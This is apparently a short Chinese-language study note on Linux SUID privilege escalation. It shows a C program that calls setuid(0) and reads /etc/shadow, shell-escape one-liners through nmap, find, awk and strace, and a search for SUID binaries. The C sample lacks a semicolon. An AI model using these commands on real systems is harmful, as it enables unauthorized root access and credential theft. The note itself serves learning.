基本原理

chmod命令可以改变文件或者路径的一些权限属性。在chmod的众多参数中,有一个s参数引发了一个重大的问题。s参数的含义是允许程序临时以所有者权限运行。其使用命令如下:

#chmod +s targetfile 
chmod +s ./exp

原理验证

编写如下代码 persist.c

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int main(){
    setuid(0);
    system("cat /etc/shadow")
    return 0;
}

在root权限下编译

gcc persist.c -o persist

在普通用户权限下执行

image.png

在root用户下添加s权限,并在普通用户下执行

image.png

实战利用

可常用命令如下

nmap --interactive \ !sh
find . -type f -exec /bin/bash ;
awk 'BEGIN {system("/bin/bash")}'
strace -o/dev/null /bin/bash

寻找本机器环境下的s属性程序

find / -perm -u=s -type f 2>/dev/null

image.png

使用find提权

image.png

问题思考

在这里很疑惑两点

bash shell 不是以root启动

find 提权使用bash shell 命令是以root 启动,但是给的bash shell 启动权限是低权限用户 image.png

使用root启动python,但是用户还是低权限用户

image.png

image.png

Copyright © aaron 2023 all right reserved,powered by Gitbook该文章修订时间: 2023-05-25 10:36:07

results matching ""

    No results matching ""